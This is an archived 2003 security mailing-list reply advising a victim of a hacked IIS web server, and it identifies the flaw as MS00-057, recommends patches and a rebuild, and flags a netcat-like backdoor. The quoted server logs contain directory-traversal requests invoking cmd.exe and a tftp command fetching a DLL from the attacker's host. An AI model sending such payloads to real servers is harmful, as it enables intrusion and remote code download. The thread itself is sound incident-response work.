Re: Hacked web server

From: Michael Katz (mike@procinct.com)
Date: 01/13/03

  • Next message: James C. Slora Jr.: "Re: Virus? Trojan?" 
    Date: Sun, 12 Jan 2003 18:20:12 -0800
To: <incidents@securityfocus.com>
From: Michael Katz <mike@procinct.com>

    At 1/10/2003 12:39 PM, Rogelio Vidaurri Courcelle wrote:

    >Hi... my web server (NT 4.0 SP6a) was hacked last friday

    Rogelio,

    >200.38.237.2, -, 5/01/03, 4:15:09, W3SVC, INGRESOS02, 200.38.152.221,
    >125, 96, 8201, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
    >/c+dir,

    The above shows that your server is susceptible to a vulnerability detailed
    in Microsoft Security Bulletin MS00-057
    (http://www.microsoft.com/technet/security/bulletin/ms00-057.asp). This
    vulnerability is NOT fixed by Service Pack 6a. You need to install
    additional patches for IIS. When you rebuild the server, you should
    install the cumulative IIS patch described in Microsoft Security Bulletin
    MS02-062 (http://www.microsoft.com/technet/security/bulletin/ms02-062.asp)

    >200.38.237.2, -, 5/01/03, 4:15:09, W3SVC, INGRESOS02, 200.38.152.221,
    >125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
    >/c+tftp%20-i%20200.38.237.2%20GET%20cool.dll%20c:\httpodbc.dll,
    >200.38.237.2, -, 5/01/03, 4:15:10, W3SVC, INGRESOS02, 200.38.152.221,
    >125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
    >/c+tftp%20-i%20200.38.237.2%20GET%20cool.dll%20d:\httpodbc.dll,
    >200.38.237.2, -, 5/01/03, 4:15:10, W3SVC, INGRESOS02, 200.38.152.221,
    >125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
    >/c+tftp%20-i%20200.38.237.2%20GET%20cool.dll%20e:\httpodbc.dll,

    Your failure to find a virus (httpodbc.dll) on your hard disk may indicate
    that your firewall was configured properly or that antivirus software
    prevented the infected file from being written to your hard disk (if you
    had antivirus software with relatively current definitions). However,
    there are plenty of other bad things that could be on your system that
    attackers could have placed on your system that would not be flagged as
    malware by antivirus software.

    >i have read that it could be because of Nimda but i have scanned with
    >the latest pattern and it found no viruses... only a backdoor trojan
    >called ncx99.exe dropped in mailroot\drop\temp
    >by the way, can i delete files inside that folder??? there's a
    >rundlls32.exe... a KEY file, etcetera......

    ncx99.exe is most likely a modified version of netcat and is not flagged by
    most antivirus software as malware.

    If your machine has been configured this way for two months, you should
    rebuild it and start from scratch. Who knows what attackers may have done
    to your system?

    Michael Katz
    mike@procinct.com
    Procinct Security

    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management
    and tracking system please see: http://aris.securityfocus.com

    Relevant Pages

    • RE: Hacked web server
      ... I would also suggest running the IIS lock down tool. ... The above shows that your server is susceptible to a vulnerability detailed ... install the cumulative IIS patch described in Microsoft Security Bulletin ... had antivirus software with relatively current definitions). ...
      (Incidents)
    • Re: Hacked web server
      ... This worm is similar in functionality to W32.Nimda.A@mm. ... > install the cumulative IIS patch described in Microsoft Security Bulletin ... > had antivirus software with relatively current definitions). ... > This list is provided by the SecurityFocus ARIS analyzer service. ...
      (Incidents)
    • Re: windows 2003 no updates?
      ... Microsoft Security Bulletin MS04-039 ... Vulnerability in ISA Server 2000 and Proxy Server 2.0 Could Allow ... -- torgeir, Microsoft MVP Scripting and WMI, Porsgrunn Norway Administration scripting examples and an ONLINE version of the 1328 page Scripting Guide: ...
      (microsoft.public.windowsupdate)
    • UPDATE - Certificate errors following H323 Hotfix MS04-001
      ... Hotfix removal has worked on 2nd server, ... >After installing the Microsoft Security Bulletin MS04-001 ... >certificates used by the web proxy service are valid. ... >receive this error message despite reinstalling the ...
      (microsoft.public.isaserver)
    • Re: Unable To Relay
      ... "Microsoft Security Bulletin MS05-021 ... Vulnerability in Exchange Server Could Allow Remote Code Execution " ... > Best Regards ...
      (microsoft.public.exchange.clients)